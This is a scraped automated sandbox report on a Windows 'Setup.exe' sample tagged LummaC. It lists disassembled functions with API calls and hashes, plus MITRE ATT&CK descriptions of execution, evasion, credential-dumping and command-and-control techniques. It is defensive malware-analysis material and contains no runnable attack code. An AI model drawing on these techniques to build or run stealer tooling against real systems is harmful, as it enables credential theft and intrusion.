Opcode Fuzzy Hash: e5935c8be26be6d6e0331835fd534bdb5718c0430b3be90381c87f010860b87c
Instruction Fuzzy Hash: 03E06D74244304ABE620A769DCC6F4D778C9B08778F108151F648AF3E2C6B9EC408A5C

Function 0042DBF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DC0A
WSH, xrefs: 0042DC06, 0042DC09

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows$WSH
API String ID: 71445658-1740280353
Opcode ID: f0ad67e2869fc3f5fe3ef554bd01927877597b65c4f46770b0d2ba44448755dd
Instruction ID: 07bd338ac77696d96e694fdb4dcdf33fdb50965eb6e12a53c02bf401a231670f
Opcode Fuzzy Hash: f0ad67e2869fc3f5fe3ef554bd01927877597b65c4f46770b0d2ba44448755dd
Instruction Fuzzy Hash: 2BD0C972950128BBDB109A89EC41EFBB79DDB19360F44802AFD04DB200C2B5EC519BF4

Function 0040332C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0049B84E), ref: 00403333
GetCommandLineA.KERNEL32(00000000,0049B84E), ref: 0040333E

Strings

H'R, xrefs: 00403343

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: H'R
API String ID: 2123368496-3731392471
Opcode ID: 84ddfec0e2e2170f646f123ae2f667e58c3b1d5abca501f235d6da0afb89892a
Instruction ID: 28b41f7d8b9210fe403cd63a657cb26f8d2c568e3bd7eb6f6f4f4788fb34492f
Opcode Fuzzy Hash: 84ddfec0e2e2170f646f123ae2f667e58c3b1d5abca501f235d6da0afb89892a
Instruction Fuzzy Hash: BCC0126050025046D710FF635882B0429509710309F4040BFA104FE2E1C6BE42009B9D

Function 0046F228 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E168: SetErrorMode.KERNEL32(00008000), ref: 0042E172
Part of subcall function 0042E168: LoadLibraryA.KERNEL32(00000000,00000000,0042E1BC,?,00000000,0042E1DA,?,00008000), ref: 0042E1A1

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046F23D

Strings

shell32.dll, xrefs: 0046F232
SHPathPrepareForWriteA, xrefs: 0046F228

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 099a63ac19ec0568342796d6fdc0b3c59474eac263d96fa3bf838235257fdded
Instruction ID: 56cdfb432ccc4d72c931dbb59d4f36e3b15b0ade3738ddaddd7ef0649ef2119e
Opcode Fuzzy Hash: 099a63ac19ec0568342796d6fdc0b3c59474eac263d96fa3bf838235257fdded
Instruction Fuzzy Hash: FCB09B64B4470056D6013765641664B319497513057608177704496145D97D881D8F5E

Function 00458110 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 0045812F
Sleep.KERNEL32(?), ref: 0045813F
GetLastError.KERNEL32 ref: 00458152
GetLastError.KERNEL32 ref: 0045815C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: fdda1de27ff07b18251ad89e922bb6b86ec17cc57aaee31ed99b04e03db4ac19
Instruction ID: 3167f894056467b57dbd7a065a075d2790c34db0287d44613a9a14650b62a17f
Opcode Fuzzy Hash: fdda1de27ff07b18251ad89e922bb6b86ec17cc57aaee31ed99b04e03db4ac19
Instruction Fuzzy Hash: D5F09632B01914AB4A20A55B8C8196F6258DA41366720416FEC44F7203DC39CC4A87A9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
Setup.exe

Function 00423B18 Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Function 004314A4 Relevance: 18.6, APIs: 2, Strings: 8, Instructions: 1125
librarymemoryloaderCOMMON

Function 00431738 Relevance: 14.9, APIs: 2, Strings: 6, Instructions: 944
librarymemoryloaderCOMMON

Function 00431760 Relevance: 14.9, APIs: 2, Strings: 6, Instructions: 934
librarymemoryloaderCOMMON

Function 03140ADD Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Function 031403CD Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 399
threadCOMMON

Function 004062BC Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Function 00423780 Relevance: 15.1, APIs: 10, Instructions: 98
windowregistryCOMMON

Function 00455DBC Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Function 004308CC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Function 00423598 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96
windowCOMMON

Function 00418EC8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
threadCOMMON

Function 00422FD4 Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Function 0049B840 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120
COMMON

Function 00459918 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11
libraryloaderCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre